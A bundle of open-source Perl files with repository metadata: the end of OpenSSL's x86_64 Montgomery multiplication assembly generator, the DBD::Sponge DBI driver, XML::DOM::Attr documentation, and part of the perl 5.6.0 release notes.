and \$`2**5/($N/8)-1`,$idx # 5 is "window size"
lea 128($tbl,%r11,8),$tbl # pointer within 1st cache line
movq 0(%rax,$idx,8),%xmm4 # set of masks denoting which
movq 8(%rax,$idx,8),%xmm5 # cache line contains element
movq 16(%rax,$idx,8),%xmm6 # denoted by 7th argument
movq 24(%rax,$idx,8),%xmm7
jmp .Lgather
.align 16
.Lgather:
movq `0*$STRIDE/4-128`($tbl),%xmm0
movq `1*$STRIDE/4-128`($tbl),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-128`($tbl),%xmm2
pand %xmm5,%xmm1
movq `3*$STRIDE/4-128`($tbl),%xmm3
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
.byte 0x67,0x67
por %xmm2,%xmm0
lea $STRIDE($tbl),$tbl
por %xmm3,%xmm0
movq %xmm0,($out) # m0=bp[0]
lea 8($out),$out
sub \$1,$num
jnz .Lgather
___
$code.=<<___ if ($win64);
movaps (%rsp),%xmm6
movaps 0x10(%rsp),%xmm7
lea 0x28(%rsp),%rsp
___
$code.=<<___;
ret
.LSEH_end_bn_gather5:
.size bn_gather5,.-bn_gather5
___
}
$code.=<<___;
.align 64
.Lmagic_masks:
.long 0,0, 0,0, 0,0, -1,-1
.long 0,0, 0,0, 0,0, 0,0
.asciz "Montgomery Multiplication with scatter/gather for x86_64, CRYPTOGAMS by <appro\@openssl.org>"
___
# EXCEPTION_DISPOSITION handler (EXCEPTION_RECORD *rec,ULONG64 frame,
# CONTEXT *context,DISPATCHER_CONTEXT *disp)
if ($win64) {
$rec="%rcx";
$frame="%rdx";
$context="%r8";
$disp="%r9";
$code.=<<___;
.extern __imp_RtlVirtualUnwind
.type mul_handler,\@abi-omnipotent
.align 16
mul_handler:
push %rsi
push %rdi
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
pushfq
sub \$64,%rsp
mov 120($context),%rax # pull context->Rax
mov 248($context),%rbx # pull context->Rip
mov 8($disp),%rsi # disp->ImageBase
mov 56($disp),%r11 # disp->HandlerData
mov 0(%r11),%r10d # HandlerData[0]
lea (%rsi,%r10),%r10 # end of prologue label
cmp %r10,%rbx # context->Rip<end of prologue label
jb .Lcommon_seh_tail
mov 152($context),%rax # pull context->Rsp
mov 4(%r11),%r10d # HandlerData[1]
lea (%rsi,%r10),%r10 # epilogue label
cmp %r10,%rbx # context->Rip>=epilogue label
jae .Lcommon_seh_tail
lea .Lmul_epilogue(%rip),%r10
cmp %r10,%rbx
jb .Lbody_40
mov 192($context),%r10 # pull $num
mov 8(%rax,%r10,8),%rax # pull saved stack pointer
jmp .Lbody_proceed
.Lbody_40:
mov 40(%rax),%rax # pull saved stack pointer
.Lbody_proceed:
movaps -88(%rax),%xmm0
movaps -72(%rax),%xmm1
mov -8(%rax),%rbx
mov -16(%rax),%rbp
mov -24(%rax),%r12
mov -32(%rax),%r13
mov -40(%rax),%r14
mov -48(%rax),%r15
mov %rbx,144($context) # restore context->Rbx
mov %rbp,160($context) # restore context->Rbp
mov %r12,216($context) # restore context->R12
mov %r13,224($context) # restore context->R13
mov %r14,232($context) # restore context->R14
mov %r15,240($context) # restore context->R15
movups %xmm0,512($context) # restore context->Xmm6
movups %xmm1,528($context) # restore context->Xmm7
.Lcommon_seh_tail:
mov 8(%rax),%rdi
mov 16(%rax),%rsi
mov %rax,152($context) # restore context->Rsp
mov %rsi,168($context) # restore context->Rsi
mov %rdi,176($context) # restore context->Rdi
mov 40($disp),%rdi # disp->ContextRecord
mov $context,%rsi # context
mov \$154,%ecx # sizeof(CONTEXT)
.long 0xa548f3fc # cld; rep movsq
mov $disp,%rsi
xor %rcx,%rcx # arg1, UNW_FLAG_NHANDLER
mov 8(%rsi),%rdx # arg2, disp->ImageBase
mov 0(%rsi),%r8 # arg3, disp->ControlPc
mov 16(%rsi),%r9 # arg4, disp->FunctionEntry
mov 40(%rsi),%r10 # disp->ContextRecord
lea 56(%rsi),%r11 # &disp->HandlerData
lea 24(%rsi),%r12 # &disp->EstablisherFrame
mov %r10,32(%rsp) # arg5
mov %r11,40(%rsp) # arg6
mov %r12,48(%rsp) # arg7
mov %rcx,56(%rsp) # arg8, (NULL)
call *__imp_RtlVirtualUnwind(%rip)
mov \$1,%eax # ExceptionContinueSearch
add \$64,%rsp
popfq
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
pop %rdi
pop %rsi
ret
.size mul_handler,.-mul_handler
.section .pdata
.align 4
.rva .LSEH_begin_bn_mul_mont_gather5
.rva .LSEH_end_bn_mul_mont_gather5
.rva .LSEH_info_bn_mul_mont_gather5
.rva .LSEH_begin_bn_mul4x_mont_gather5
.rva .LSEH_end_bn_mul4x_mont_gather5
.rva .LSEH_info_bn_mul4x_mont_gather5
.rva .LSEH_begin_bn_power5
.rva .LSEH_end_bn_power5
.rva .LSEH_info_bn_power5
.rva .LSEH_begin_bn_from_mont8x
.rva .LSEH_end_bn_from_mont8x
.rva .LSEH_info_bn_from_mont8x
___
$code.=<<___ if ($addx);
.rva .LSEH_begin_bn_mulx4x_mont_gather5
.rva .LSEH_end_bn_mulx4x_mont_gather5
.rva .LSEH_info_bn_mulx4x_mont_gather5
.rva .LSEH_begin_bn_powerx5
.rva .LSEH_end_bn_powerx5
.rva .LSEH_info_bn_powerx5
___
$code.=<<___;
.rva .LSEH_begin_bn_gather5
.rva .LSEH_end_bn_gather5
.rva .LSEH_info_bn_gather5
.section .xdata
.align 8
.LSEH_info_bn_mul_mont_gather5:
.byte 9,0,0,0
.rva mul_handler
.rva .Lmul_body,.Lmul_epilogue # HandlerData[]
.align 8
.LSEH_info_bn_mul4x_mont_gather5:
.byte 9,0,0,0
.rva mul_handler
.rva .Lmul4x_body,.Lmul4x_epilogue # HandlerData[]
.align 8
.LSEH_info_bn_power5:
.byte 9,0,0,0
.rva mul_handler
.rva .Lpower5_body,.Lpower5_epilogue # HandlerData[]
.align 8
.LSEH_info_bn_from_mont8x:
.byte 9,0,0,0
.rva mul_handler
.rva .Lfrom_body,.Lfrom_epilogue # HandlerData[]
___
$code.=<<___ if ($addx);
.align 8
.LSEH_info_bn_mulx4x_mont_gather5:
.byte 9,0,0,0
.rva mul_handler
.rva .Lmulx4x_body,.Lmulx4x_epilogue # HandlerData[]
.align 8
.LSEH_info_bn_powerx5:
.byte 9,0,0,0
.rva mul_handler
.rva .Lpowerx5_body,.Lpowerx5_epilogue # HandlerData[]
___
$code.=<<___;
.align 8
.LSEH_info_bn_gather5:
.byte 0x01,0x0d,0x05,0x00
.byte 0x0d,0x78,0x01,0x00 #movaps 0x10(rsp),xmm7
.byte 0x08,0x68,0x00,0x00 #movaps (rsp),xmm6
.byte 0x04,0x42,0x00,0x00 #sub rsp,0x28
.align 8
___
}
$code =~ s/\`([^\`]*)\`/eval($1)/gem;
print $code;
close STDOUT;
| dkoontz/nodegit | vendor/openssl/openssl/crypto/bn/asm/x86_64-mont5.pl | Perl | mit | 78,199 |
{
package DBD::Sponge;
require DBI;
require Carp;
our @EXPORT = qw(); # Do NOT @EXPORT anything.
our $VERSION = sprintf("12.%06d", q$Revision: 10002 $ =~ /(\d+)/o);
# $Id: Sponge.pm 10002 2007-09-26 21:03:25Z timbo $
#
# Copyright (c) 1994-2003 Tim Bunce Ireland
#
# You may distribute under the terms of either the GNU General Public
# License or the Artistic License, as specified in the Perl README file.
$drh = undef; # holds driver handle once initialised
my $methods_already_installed;
sub driver{
return $drh if $drh;
DBD::Sponge::db->install_method("sponge_test_installed_method")
unless $methods_already_installed++;
my($class, $attr) = @_;
$class .= "::dr";
($drh) = DBI::_new_drh($class, {
'Name' => 'Sponge',
'Version' => $VERSION,
'Attribution' => "DBD::Sponge $VERSION (fake cursor driver) by Tim Bunce",
});
$drh;
}
sub CLONE {
undef $drh;
}
}
{ package DBD::Sponge::dr; # ====== DRIVER ======
$imp_data_size = 0;
# we use default (dummy) connect method
}
{ package DBD::Sponge::db; # ====== DATABASE ======
$imp_data_size = 0;
use strict;
sub prepare {
my($dbh, $statement, $attribs) = @_;
my $rows = delete $attribs->{'rows'}
or return $dbh->set_err($DBI::stderr,"No rows attribute supplied to prepare");
my ($outer, $sth) = DBI::_new_sth($dbh, {
'Statement' => $statement,
'rows' => $rows,
(map { exists $attribs->{$_} ? ($_=>$attribs->{$_}) : () }
qw(execute_hook)
),
});
if (my $behave_like = $attribs->{behave_like}) {
$outer->{$_} = $behave_like->{$_}
foreach (qw(RaiseError PrintError HandleError ShowErrorStatement));
}
if ($statement =~ /^\s*insert\b/) { # very basic, just for testing execute_array()
$sth->{is_insert} = 1;
my $NUM_OF_PARAMS = $attribs->{NUM_OF_PARAMS}
or return $dbh->set_err($DBI::stderr,"NUM_OF_PARAMS not specified for INSERT statement");
$sth->STORE('NUM_OF_PARAMS' => $attribs->{NUM_OF_PARAMS} );
}
else { #assume select
# we need to set NUM_OF_FIELDS
my $numFields;
if ($attribs->{'NUM_OF_FIELDS'}) {
$numFields = $attribs->{'NUM_OF_FIELDS'};
} elsif ($attribs->{'NAME'}) {
$numFields = @{$attribs->{NAME}};
} elsif ($attribs->{'TYPE'}) {
$numFields = @{$attribs->{TYPE}};
} elsif (my $firstrow = $rows->[0]) {
$numFields = scalar @$firstrow;
} else {
return $dbh->set_err($DBI::stderr, 'Cannot determine NUM_OF_FIELDS');
}
$sth->STORE('NUM_OF_FIELDS' => $numFields);
$sth->{NAME} = $attribs->{NAME}
|| [ map { "col$_" } 1..$numFields ];
$sth->{TYPE} = $attribs->{TYPE}
|| [ (DBI::SQL_VARCHAR()) x $numFields ];
$sth->{PRECISION} = $attribs->{PRECISION}
|| [ map { length($sth->{NAME}->[$_]) } 0..$numFields -1 ];
$sth->{SCALE} = $attribs->{SCALE}
|| [ (0) x $numFields ];
$sth->{NULLABLE} = $attribs->{NULLABLE}
|| [ (2) x $numFields ];
}
$outer;
}
sub type_info_all {
my ($dbh) = @_;
my $ti = [
{ TYPE_NAME => 0,
DATA_TYPE => 1,
PRECISION => 2,
LITERAL_PREFIX => 3,
LITERAL_SUFFIX => 4,
CREATE_PARAMS => 5,
NULLABLE => 6,
CASE_SENSITIVE => 7,
SEARCHABLE => 8,
UNSIGNED_ATTRIBUTE=> 9,
MONEY => 10,
AUTO_INCREMENT => 11,
LOCAL_TYPE_NAME => 12,
MINIMUM_SCALE => 13,
MAXIMUM_SCALE => 14,
},
[ 'VARCHAR', DBI::SQL_VARCHAR(), undef, "'","'", undef, 0, 1, 1, 0, 0,0,undef,0,0 ],
];
return $ti;
}
sub FETCH {
my ($dbh, $attrib) = @_;
# In reality this would interrogate the database engine to
# either return dynamic values that cannot be precomputed
# or fetch and cache attribute values too expensive to prefetch.
return 1 if $attrib eq 'AutoCommit';
# else pass up to DBI to handle
return $dbh->SUPER::FETCH($attrib);
}
sub STORE {
my ($dbh, $attrib, $value) = @_;
# would normally validate and only store known attributes
# else pass up to DBI to handle
if ($attrib eq 'AutoCommit') {
return 1 if $value; # is already set
Carp::croak("Can't disable AutoCommit");
}
return $dbh->SUPER::STORE($attrib, $value);
}
sub sponge_test_installed_method {
my ($dbh, @args) = @_;
return $dbh->set_err(42, "not enough parameters") unless @args >= 2;
return \@args;
}
}
{ package DBD::Sponge::st; # ====== STATEMENT ======
$imp_data_size = 0;
use strict;
sub execute {
my $sth = shift;
# hack to support ParamValues (when not using bind_param)
$sth->{ParamValues} = (@_) ? { map { $_ => $_[$_-1] } 1..@_ } : undef;
if (my $hook = $sth->{execute_hook}) {
&$hook($sth, @_) or return;
}
if ($sth->{is_insert}) {
my $row;
$row = (@_) ? [ @_ ] : die "bind_param not supported yet" ;
my $NUM_OF_PARAMS = $sth->{NUM_OF_PARAMS};
return $sth->set_err($DBI::stderr, @$row." values bound (@$row) but $NUM_OF_PARAMS expected")
if @$row != $NUM_OF_PARAMS;
{ local $^W; $sth->trace_msg("inserting (@$row)\n"); }
push @{ $sth->{rows} }, $row;
}
else { # mark select sth as Active
$sth->STORE(Active => 1);
}
# else do nothing for select as data is already in $sth->{rows}
return 1;
}
sub fetch {
my ($sth) = @_;
my $row = shift @{$sth->{'rows'}};
unless ($row) {
$sth->STORE(Active => 0);
return undef;
}
return $sth->_set_fbav($row);
}
*fetchrow_arrayref = \&fetch;
sub FETCH {
my ($sth, $attrib) = @_;
# would normally validate and only fetch known attributes
# else pass up to DBI to handle
return $sth->SUPER::FETCH($attrib);
}
sub STORE {
my ($sth, $attrib, $value) = @_;
# would normally validate and only store known attributes
# else pass up to DBI to handle
return $sth->SUPER::STORE($attrib, $value);
}
}
1;
__END__
=pod
=head1 NAME
DBD::Sponge - Create a DBI statement handle from Perl data
=head1 SYNOPSIS
my $sponge = DBI->connect("dbi:Sponge:","","",{ RaiseError => 1 });
my $sth = $sponge->prepare($statement, {
rows => $data,
NAME => $names,
%attr
}
);
=head1 DESCRIPTION
DBD::Sponge is useful for making a Perl data structure accessible through a
standard DBI statement handle. This may be useful to DBD module authors who
need to transform data in this way.
=head1 METHODS
=head2 connect()
my $sponge = DBI->connect("dbi:Sponge:","","",{ RaiseError => 1 });
Here's a sample syntax for creating a database handle for the Sponge driver.
No username and password are needed.
=head2 prepare()
my $sth = $sponge->prepare($statement, {
rows => $data,
NAME => $names,
%attr
}
);
=over 4
=item *
The C<$statement> here is an arbitrary statement or name you want
to provide as identity of your data. If you're using DBI::Profile
it will appear in the profile data.
Generally it's expected that you are preparing a statement handle
as if a C<select> statement happened.
=item *
C<$data> is a reference to the data you are providing, given as an array of arrays.
=item *
C<$names> is a reference an array of column names for the C<$data> you are providing.
The number and order should match the number and ordering of the C<$data> columns.
=item *
C<%attr> is a hash of other standard DBI attributes that you might pass to a prepare statement.
Currently only NAME, TYPE, and PRECISION are supported.
=back
=head1 BUGS
Using this module to prepare INSERT-like statements is not currently documented.
=head1 AUTHOR AND COPYRIGHT
This module is Copyright (c) 2003 Tim Bunce
Documentation initially written by Mark Stosberg
The DBD::Sponge module is free software; you can redistribute it and/or
modify it under the same terms as Perl itself. In particular permission
is granted to Tim Bunce for distributing this as a part of the DBI.
=head1 SEE ALSO
L<DBI>
=cut
| liuyangning/WX_web | xampp/perl/vendor/lib/DBD/Sponge.pm | Perl | mit | 7,983 |
=head1 NAME
XML::DOM::Attr - An XML attribute in XML::DOM
=head1 DESCRIPTION
XML::DOM::Attr extends L<XML::DOM::Node>.
The Attr nodes built by the XML::DOM::Parser always have one child node
which is a Text node containing the expanded string value (i.e. EntityReferences
are always expanded.) EntityReferences may be added when modifying or creating
a new Document.
The Attr interface represents an attribute in an Element object.
Typically the allowable values for the attribute are defined in a
document type definition.
Attr objects inherit the Node interface, but since they are not
actually child nodes of the element they describe, the DOM does not
consider them part of the document tree. Thus, the Node attributes
parentNode, previousSibling, and nextSibling have a undef value for Attr
objects. The DOM takes the view that attributes are properties of
elements rather than having a separate identity from the elements they
are associated with; this should make it more efficient to implement
such features as default attributes associated with all elements of a
given type. Furthermore, Attr nodes may not be immediate children of a
DocumentFragment. However, they can be associated with Element nodes
contained within a DocumentFragment. In short, users and implementors
of the DOM need to be aware that Attr nodes have some things in common
with other objects inheriting the Node interface, but they also are
quite distinct.
The attribute's effective value is determined as follows: if this
attribute has been explicitly assigned any value, that value is the
attribute's effective value; otherwise, if there is a declaration for
this attribute, and that declaration includes a default value, then
that default value is the attribute's effective value; otherwise, the
attribute does not exist on this element in the structure model until
it has been explicitly added. Note that the nodeValue attribute on the
Attr instance can also be used to retrieve the string version of the
attribute's value(s).
In XML, where the value of an attribute can contain entity references,
the child nodes of the Attr node provide a representation in which
entity references are not expanded. These child nodes may be either
Text or EntityReference nodes. Because the attribute type may be
unknown, there are no tokenized attribute values.
=head2 METHODS
=over 4
=item getValue
On retrieval, the value of the attribute is returned as a string.
Character and general entity references are replaced with their values.
=item setValue (str)
DOM Spec: On setting, this creates a Text node with the unparsed contents of the
string.
=item getName
Returns the name of this attribute.
=back
| electric-cloud/EC-EC2 | src/main/resources/project/lib/XML/DOM/Attr.pod | Perl | apache-2.0 | 2,693 |
=head1 NAME
perl56delta - what's new for perl v5.6.0
=head1 DESCRIPTION
This document describes differences between the 5.005 release and the 5.6.0
release.
=head1 Core Enhancements
=head2 Interpreter cloning, threads, and concurrency
Perl 5.6.0 introduces the beginnings of support for running multiple
interpreters concurrently in different threads. In conjunction with
the perl_clone() API call, which can be used to selectively duplicate
the state of any given interpreter, it is possible to compile a
piece of code once in an interpreter, clone that interpreter
one or more times, and run all the resulting interpreters in distinct
threads.
On the Windows platform, this feature is used to emulate fork() at the
interpreter level. See L<perlfork> for details about that.
This feature is still in evolution. It is eventually meant to be used
to selectively clone a subroutine and data reachable from that
subroutine in a separate interpreter and run the cloned subroutine
in a separate thread. Since there is no shared data between the
interpreters, little or no locking will be needed (unless parts of
the symbol table are explicitly shared). This is obviously intended
to be an easy-to-use replacement for the existing threads support.
Support for cloning interpreters and interpreter concurrency can be
enabled using the -Dusethreads Configure option (see win32/Makefile for
how to enable it on Windows.) The resulting perl executable will be
functionally identical to one that was built with -Dmultiplicity, but
the perl_clone() API call will only be available in the former.
-Dusethreads enables the cpp macro USE_ITHREADS by default, which in turn
enables Perl source code changes that provide a clear separation between
the op tree and the data it operates with. The former is immutable, and
can therefore be shared between an interpreter and all of its clones,
while the latter is considered local to each interpreter, and is therefore
copied for each clone.
Note that building Perl with the -Dusemultiplicity Configure option
is adequate if you wish to run multiple B<independent> interpreters
concurrently in different threads. -Dusethreads only provides the
additional functionality of the perl_clone() API call and other
support for running B<cloned> interpreters concurrently.
NOTE: This is an experimental feature. Implementation details are
subject to change.
=head2 Lexically scoped warning categories
You can now control the granularity of warnings emitted by perl at a finer
level using the C<use warnings> pragma. L<warnings> and L<perllexwarn>
have copious documentation on this feature.
=head2 Unicode and UTF-8 support
Perl now uses UTF-8 as its internal representation for character
strings. The C<utf8> and C<bytes> pragmas are used to control this support
in the current lexical scope. See L<perlunicode>, L<utf8> and L<bytes> for
more information.
This feature is expected to evolve quickly to support some form of I/O
disciplines that can be used to specify the kind of input and output data
(bytes or characters). Until that happens, additional modules from CPAN
will be needed to complete the toolkit for dealing with Unicode.
NOTE: This should be considered an experimental feature. Implementation
details are subject to change.
=head2 Support for interpolating named characters
The new C<\N> escape interpolates named characters within strings.
For example, C<"Hi! \N{WHITE SMILING FACE}"> evaluates to a string
with a unicode smiley face at the end.
=head2 "our" declarations
An "our" declaration introduces a value that can be best understood
as a lexically scoped symbolic alias to a global variable in the
package that was current where the variable was declared. This is
mostly useful as an alternative to the C<vars> pragma, but also provides
the opportunity to introduce typing and other attributes for such
variables. See L<perlfunc/our>.
=head2 Support for strings represented as a vector of ordinals
Literals of the form C<v1.2.3.4> are now parsed as a string composed
of characters with the specified ordinals. This is an alternative, more
readable way to construct (possibly unicode) strings instead of
interpolating characters, as in C<"\x{1}\x{2}\x{3}\x{4}">. The leading
C<v> may be omitted if there are more than two ordinals, so C<1.2.3> is
parsed the same as C<v1.2.3>.
Strings written in this form are also useful to represent version "numbers".
It is easy to compare such version "numbers" (which are really just plain
strings) using any of the usual string comparison operators C<eq>, C<ne>,
C<lt>, C<gt>, etc., or perform bitwise string operations on them using C<|>,
C<&>, etc.
In conjunction with the new C<$^V> magic variable (which contains
the perl version as a string), such literals can be used as a readable way
to check if you're running a particular version of Perl:
# this will parse in older versions of Perl also
if ($^V and $^V gt v5.6.0) {
# new features supported
}
C<require> and C<use> also have some special magic to support such
literals, but this particular usage should be avoided because it leads to
misleading error messages under versions of Perl which don't support vector
strings. Using a true version number will ensure correct behavior in all
versions of Perl:
require 5.006; # run time check for v5.6
use 5.006_001; # compile time check for v5.6.1
Also, C<sprintf> and C<printf> support the Perl-specific format flag C<%v>
to print ordinals of characters in arbitrary strings:
printf "v%vd", $^V; # prints current version, such as "v5.5.650"
printf "%*vX", ":", $addr; # formats IPv6 address
printf "%*vb", " ", $bits; # displays bitstring
See L<perldata/"Scalar value constructors"> for additional information.
=head2 Improved Perl version numbering system
Beginning with Perl version 5.6.0, the version number convention has been
changed to a "dotted integer" scheme that is more commonly found in open
source projects.
Maintenance versions of v5.6.0 will be released as v5.6.1, v5.6.2 etc.
The next development series following v5.6.0 will be numbered v5.7.x,
beginning with v5.7.0, and the next major production release following
v5.6.0 will be v5.8.0.
The English module now sets $PERL_VERSION to $^V (a string value) rather
than C<$]> (a numeric value). (This is a potential incompatibility.
Send us a report via perlbug if you are affected by this.)
The v1.2.3 syntax is also now legal in Perl.
See L<Support for strings represented as a vector of ordinals> for more on that.
To cope with the new versioning system's use of at least three significant
digits for each version component, the method used for incrementing the
subversion number has also changed slightly. We assume that versions older
than v5.6.0 have been incrementing the subversion component in multiples of
10. Versions after v5.6.0 will increment them by 1. Thus, using the new
notation, 5.005_03 is the "same" as v5.5.30, and the first maintenance
version following v5.6.0 will be v5.6.1 (which should be read as being
equivalent to a floating point value of 5.006_001 in the older format,
stored in C<$]>).
=head2 New syntax for declaring subroutine attributes
Formerly, if you wanted to mark a subroutine as being a method call or
as requiring an automatic lock() when it is entered, you had to declare
that with a C<use attrs> pragma in the body of the subroutine.
That can now be accomplished with declaration syntax, like this:
sub mymethod : locked method;
...
sub mymethod : locked method {
...
}
sub othermethod :locked :method;
...
sub othermethod :locked :method {
...
}
(Note how only the first C<:> is mandatory, and whitespace surrounding
the C<:> is optional.)
F<AutoSplit.pm> and F<SelfLoader.pm> have been updated to keep the attributes
with the stubs they provide. See L<attributes>.
=head2 File and directory handles can be autovivified
Similar to how constructs such as C<< $x->[0] >> autovivify a reference,
handle constructors (open(), opendir(), pipe(), socketpair(), sysopen(),
socket(), and accept()) now autovivify a file or directory handle
if the handle passed to them is an uninitialized scalar variable. This
allows the constructs such as C<open(my $fh, ...)> and C<open(local $fh,...)>
to be used to create filehandles that will conveniently be closed
automatically when the scope ends, provided there are no other references
to them. This largely eliminates the need for typeglobs when opening
filehandles that must be passed around, as in the following example:
sub myopen {
open my $fh, "@_"
or die "Can't open '@_': $!";
return $fh;
}
{
my $f = myopen("</etc/motd");
print <$f>;
# $f implicitly closed here
}
=head2 open() with more than two arguments
If open() is passed three arguments instead of two, the second argument
is used as the mode and the third argument is taken to be the file name.
This is primarily useful for protecting against unintended magic behavior
of the traditional two-argument form. See L<perlfunc/open>.
=head2 64-bit support
Any platform that has 64-bit integers either
(1) natively as longs or ints
(2) via special compiler flags
(3) using long long or int64_t
is able to use "quads" (64-bit integers) as follows:
=over 4
=item *
constants (decimal, hexadecimal, octal, binary) in the code
=item *
arguments to oct() and hex()
=item *
arguments to print(), printf() and sprintf() (flag prefixes ll, L, q)
=item *
printed as such
=item *
pack() and unpack() "q" and "Q" formats
=item *
in basic arithmetics: + - * / % (NOTE: operating close to the limits
of the integer values may produce surprising results)
=item *
in bit arithmetics: & | ^ ~ << >> (NOTE: these used to be forced
to be 32 bits wide but now operate on the full native width.)
=item *
vec()
=back
Note that unless you have the case (a) you will have to configure
and compile Perl using the -Duse64bitint Configure flag.
NOTE: The Configure flags -Duselonglong and -Duse64bits have been
deprecated. Use -Duse64bitint instead.
There are actually two modes of 64-bitness: the first one is achieved
using Configure -Duse64bitint and the second one using Configure
-Duse64bitall. The difference is that the first one is minimal and
the second one maximal. The first works in more places than the second.
The C<use64bitint> does only as much as is required to get 64-bit
integers into Perl (this may mean, for example, using "long longs")
while your memory may still be limited to 2 gigabytes (because your
pointers could still be 32-bit). Note that the name C<64bitint> does
not imply that your C compiler will be using 64-bit C<int>s (it might,
but it doesn't have to): the C<use64bitint> means that you will be
able to have 64 bits wide scalar values.
The C<use64bitall> goes all the way by attempting to switch also
integers (if it can), longs (and pointers) to being 64-bit. This may
create an even more binary incompatible Perl than -Duse64bitint: the
resulting executable may not run at all in a 32-bit box, or you may
have to reboot/reconfigure/rebuild your operating system to be 64-bit
aware.
Natively 64-bit systems like Alpha and Cray need neither -Duse64bitint
nor -Duse64bitall.
Last but not least: note that due to Perl's habit of always using
floating point numbers, the quads are still not true integers.
When quads overflow their limits (0...18_446_744_073_709_551_615 unsigned,
-9_223_372_036_854_775_808...9_223_372_036_854_775_807 signed), they
are silently promoted to floating point numbers, after which they will
start losing precision (in their lower digits).
NOTE: 64-bit support is still experimental on most platforms.
Existing support only covers the LP64 data model. In particular, the
LLP64 data model is not yet supported. 64-bit libraries and system
APIs on many platforms have not stabilized--your mileage may vary.
=head2 Large file support
If you have filesystems that support "large files" (files larger than
2 gigabytes), you may now also be able to create and access them from
Perl.
NOTE: The default action is to enable large file support, if
available on the platform.
If the large file support is on, and you have a Fcntl constant
O_LARGEFILE, the O_LARGEFILE is automatically added to the flags
of sysopen().
Beware that unless your filesystem also supports "sparse files" seeking
to umpteen petabytes may be inadvisable.
Note that in addition to requiring a proper file system to do large
files you may also need to adjust your per-process (or your
per-system, or per-process-group, or per-user-group) maximum filesize
limits before running Perl scripts that try to handle large files,
especially if you intend to write such files.
Finally, in addition to your process/process group maximum filesize
limits, you may have quota limits on your filesystems that stop you
(your user id or your user group id) from using large files.
Adjusting your process/user/group/file system/operating system limits
is outside the scope of Perl core language. For process limits, you
may try increasing the limits using your shell's limits/limit/ulimit
command before running Perl. The BSD::Resource extension (not
included with the standard Perl distribution) may also be of use, it
offers the getrlimit/setrlimit interface that can be used to adjust
process resource usage limits, including the maximum filesize limit.
=head2 Long doubles
In some systems you may be able to use long doubles to enhance the
range and precision of your double precision floating point numbers
(that is, Perl's numbers). Use Configure -Duselongdouble to enable
this support (if it is available).
=head2 "more bits"
You can "Configure -Dusemorebits" to turn on both the 64-bit support
and the long double support.
=head2 Enhanced support for sort() subroutines
Perl subroutines with a prototype of C<($$)>, and XSUBs in general, can
now be used as sort subroutines. In either case, the two elements to
be compared are passed as normal parameters in @_. See L<perlfunc/sort>.
For unprototyped sort subroutines, the historical behavior of passing
the elements to be compared as the global variables $a and $b remains
unchanged.
=head2 C<sort $coderef @foo> allowed
sort() did not accept a subroutine reference as the comparison
function in earlier versions. This is now permitted.
=head2 File globbing implemented internally
Perl now uses the File::Glob implementation of the glob() operator
automatically. This avoids using an external csh process and the
problems associated with it.
NOTE: This is currently an experimental feature. Interfaces and
implementation are subject to change.
=head2 Support for CHECK blocks
In addition to C<BEGIN>, C<INIT>, C<END>, C<DESTROY> and C<AUTOLOAD>,
subroutines named C<CHECK> are now special. These are queued up during
compilation and behave similar to END blocks, except they are called at
the end of compilation rather than at the end of execution. They cannot
be called directly.
=head2 POSIX character class syntax [: :] supported
For example to match alphabetic characters use /[[:alpha:]]/.
See L<perlre> for details.
=head2 Better pseudo-random number generator
In 5.005_0x and earlier, perl's rand() function used the C library
rand(3) function. As of 5.005_52, Configure tests for drand48(),
random(), and rand() (in that order) and picks the first one it finds.
These changes should result in better random numbers from rand().
=head2 Improved C<qw//> operator
The C<qw//> operator is now evaluated at compile time into a true list
instead of being replaced with a run time call to C<split()>. This
removes the confusing misbehaviour of C<qw//> in scalar context, which
had inherited that behaviour from split().
Thus:
$foo = ($bar) = qw(a b c); print "$foo|$bar\n";
now correctly prints "3|a", instead of "2|a".
=head2 Better worst-case behavior of hashes
Small changes in the hashing algorithm have been implemented in
order to improve the distribution of lower order bits in the
hashed value. This is expected to yield better performance on
keys that are repeated sequences.
=head2 pack() format 'Z' supported
The new format type 'Z' is useful for packing and unpacking null-terminated
strings. See L<perlfunc/"pack">.
=head2 pack() format modifier '!' supported
The new format type modifier '!' is useful for packing and unpacking
native shorts, ints, and longs. See L<perlfunc/"pack">.
=head2 pack() and unpack() support counted strings
The template character '/' can be used to specify a counted string
type to be packed or unpacked. See L<perlfunc/"pack">.
=head2 Comments in pack() templates
The '#' character in a template introduces a comment up to
end of the line. This facilitates documentation of pack()
templates.
=head2 Weak references
In previous versions of Perl, you couldn't cache objects so as
to allow them to be deleted if the last reference from outside
the cache is deleted. The reference in the cache would hold a
reference count on the object and the objects would never be
destroyed.
Another familiar problem is with circular references. When an
object references itself, its reference count would never go
down to zero, and it would not get destroyed until the program
is about to exit.
Weak references solve this by allowing you to "weaken" any
reference, that is, make it not count towards the reference count.
When the last non-weak reference to an object is deleted, the object
is destroyed and all the weak references to the object are
automatically undef-ed.
To use this feature, you need the Devel::WeakRef package from CPAN, which
contains additional documentation.
NOTE: This is an experimental feature. Details are subject to change.
=head2 Binary numbers supported
Binary numbers are now supported as literals, in s?printf formats, and
C<oct()>:
$answer = 0b101010;
printf "The answer is: %b\n", oct("0b101010");
=head2 Lvalue subroutines
Subroutines can now return modifiable lvalues.
See L<perlsub/"Lvalue subroutines">.
NOTE: This is an experimental feature. Details are subject to change.
=head2 Some arrows may be omitted in calls through references
Perl now allows the arrow to be omitted in many constructs
involving subroutine calls through references. For example,
C<< $foo[10]->('foo') >> may now be written C<$foo[10]('foo')>.
This is rather similar to how the arrow may be omitted from
C<< $foo[10]->{'foo'} >>. Note however, that the arrow is still
required for C<< foo(10)->('bar') >>.
=head2 Boolean assignment operators are legal lvalues
Constructs such as C<($a ||= 2) += 1> are now allowed.
=head2 exists() is supported on subroutine names
The exists() builtin now works on subroutine names. A subroutine
is considered to exist if it has been declared (even if implicitly).
See L<perlfunc/exists> for examples.
=head2 exists() and delete() are supported on array elements
The exists() and delete() builtins now work on simple arrays as well.
The behavior is similar to that on hash elements.
exists() can be used to check whether an array element has been
initialized. This avoids autovivifying array elements that don't exist.
If the array is tied, the EXISTS() method in the corresponding tied
package will be invoked.
delete() may be used to remove an element from the array and return
it. The array element at that position returns to its uninitialized
state, so that testing for the same element with exists() will return
false. If the element happens to be the one at the end, the size of
the array also shrinks up to the highest element that tests true for
exists(), or 0 if none such is found. If the array is tied, the DELETE()
method in the corresponding tied package will be invoked.
